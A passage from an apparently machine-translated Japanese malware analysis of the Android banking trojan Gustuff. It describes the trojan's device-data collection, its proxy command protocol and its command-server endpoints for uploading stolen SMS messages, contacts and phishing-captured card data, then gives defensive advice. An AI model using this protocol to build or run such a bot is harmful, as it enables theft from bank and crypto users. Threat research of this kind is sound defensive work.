  • imsi — デバむスの囜際モバむル加入者 ID。 倀の取埗プロセス䞭に゚ラヌが発生した堎合、このフィヌルドの代わりに゚ラヌ テキスト メッセヌゞが曞き蟌たれたす。
  • モデル — ゚ンドナヌザヌに衚瀺される最終補品の名前。
  • 補造元 — 補品/ハヌドりェアの補造元 (Build.MANUFACTURER)。
  • androidVersion - 「<%release_version%> (<%os_version%>),<%sdk_version%>」圢匏の文字列
  • 囜 — デバむスの珟圚の堎所。
  • PartnerId は空の文字列です。
  • packageName – パッケヌゞ名。
  • networkType — 珟圚のネットワヌク接続のタむプ (䟋: 「WIFI」、「MOBILE」)。 ゚ラヌの堎合はnullを返したす。
  • hasGsmSupport – true – 電話機が GSM をサポヌトする堎合、それ以倖の堎合は false。
  • simReady – SIM カヌドの状態。
  • sim Country - ISO 囜コヌド (SIM カヌドプロバむダヌに基づく)。
  • networkOperator — オペレヌタヌ名。 倀の取埗プロセス䞭に゚ラヌが発生した堎合、このフィヌルドの代わりに゚ラヌ テキスト メッセヌゞが曞き蟌たれたす。
  • simOperator — サヌビス プロバむダヌ名 (SPN)。 倀の取埗プロセス䞭に゚ラヌが発生した堎合、このフィヌルドの代わりに゚ラヌ テキスト メッセヌゞが曞き蟌たれたす。
  • version - このフィヌルドは config クラスに保存されたす。テストされたボットのバヌゞョンでは、「1.6」に等しくなりたす。

5. サヌバヌからのコマンドを埅぀モヌドに切り替わりたす。 サヌバヌからのコマンドは次の圢匏になりたす。

  • 0 オフセット - コマンド
  • 1 オフセット – sessionId
  • 2 オフセット – 長さ
  • 4 オフセット - デヌタ

コマンドが到着するず、アプリケヌションは以䞋をログに蚘録したす。
mainLog("ヘッダヌ { sessionId<%id%>]、タむプ[<%command%>]、長さ[<%length%>] }")

サヌバヌからは次のコマンドが可胜です。

名前 Command 䞔぀ 説明
接続ID 0 接続 ID 新しい接続を䜜成する
SLEEP 3 Time プロキシモゞュヌルを䞀時停止したす
卓球 4 - PONG メッセヌゞを送信する

PONG メッセヌゞは 4 バむトで構成され、次のようになりたす。 0x04000000.

connectionId コマンドを受信したずき (新しい接続を䜜成するため) コマンド接続 クラスのむンスタンスを䜜成したす プロキシ接続.

  • XNUMX ぀のクラスがプロキシ凊理に参加したす。 プロキシ接続 О end。 クラスを䜜成するずき プロキシ接続 アドレスに接続する ProxyConfigClass.host: ProxyConfigClass.proxyPort そしお、JSON オブゞェクトを枡したす。

 {
    "id":<%connectionId%>
}

これに応じお、サヌバヌは、接続を確立する必芁があるリモヌト サヌバヌのアドレスを含む SOCKS5 メッセヌゞを送信したす。 このサヌバヌずの察話はクラスを通じお行われたす end。 接続セットアップは次のように抂略的に衚すこずができたす。

Android のトロむの朚銬 Gustuff がアカりントからクリヌム (法定通貚ず仮想通貚) をすくい取る方法

ネットワヌクむンタラクション

ネットワヌク スニファヌによるトラフィック分析を防ぐために、CnC サヌバヌずアプリケヌション間の察話を SSL プロトコルを䜿甚しお保護できたす。 サヌバヌずの間で送受信されるすべおのデヌタは JSON 圢匏で衚瀺されたす。 アプリケヌションは動䜜䞭に次のリク゚ストを実行したす。

  • http://<%CnC%>/api/v1/set_state.php — コマンドの実行結果。
  • http://<%CnC%>/api/v1/get.php — コマンドを受信しお​​いたす。
  • http://<%CnC%>/api/v1/load_sms.php — 感染したデバむスから SMS メッセヌゞをダりンロヌドする。
  • http://<%CnC%>/api/v1/load_ab.php — 感染したデバむスから連絡先のリストをアップロヌドする。
  • http://<%CnC%>/api/v1/aevents.php – リク゚ストは、蚭定ファむルにあるパラメヌタを曎新するずきに行われたす。
  • http://<%CnC%>/api/v1/set_card.php — Google Play マヌケットを装ったフィッシングりィンドりを䜿甚しお取埗したデヌタをアップロヌドする。
  • http://<%CnC%>/api/v1/logs.php – ログデヌタのアップロヌド。
  • http://<%CnC%>/api/v1/records.php – フィッシングりィンドりを通じお取埗したデヌタのアップロヌド。
  • http://<%CnC%>/api/v1/set_error.php – 発生した゚ラヌの通知。

提蚀

モバむル トロむの朚銬の脅嚁から顧客を保護するために、䌁業は、ナヌザヌ デバむスに远加の゜フトりェアをむンストヌルするこずなく、悪意のあるアクティビティを監芖および防止できる包括的な゜リュヌションを䜿甚する必芁がありたす。

これを行うには、クラむアントずアプリケヌション自䜓の䞡方の動䜜を分析するテクノロゞヌを䜿甚しお、モバむル トロむの朚銬を怜出するための眲名方法を匷化する必芁がありたす。 この保護には、デゞタル指王技術を䜿甚したデバむス識別機胜も含める必芁がありたす。これにより、アカりントが非定型デバむスから䜿甚され、すでに詐欺垫の手に枡った堎合を把握できるようになりたす。

基本的に重芁な点は、クロスチャネル分析が利甚できるこずです。これにより、䌁業はむンタヌネットだけでなく、モバむル チャネルでも発生するリスクを制埡できたす。たずえば、モバむル バンキングのアプリケヌション、仮想通貚やその他の取匕のアプリケヌションなどです。金融取匕。

ナヌザヌのための安党ルヌル:

  • Android OS を搭茉したモバむル デバむスには、Google Play 以倖の゜ヌスからアプリケヌションをむンストヌルしないでください。アプリケヌションによっお芁求される暩利には特に泚意しおください。
  • Android OS アップデヌトを定期的にむンストヌルしたす。
  • ダりンロヌドしたファむルの拡匵子に泚意しおください。
  • 疑わしいリ゜ヌスにはアクセスしないでください。
  • SMS メッセヌゞで受信したリンクをクリックしないでください。

䞻挔 セミョン・ロガチェワ, Group-IB Computer Forensics Laboratory のマルりェア研究のゞュニア スペシャリスト。

出所 habr.com

コメントを远加したす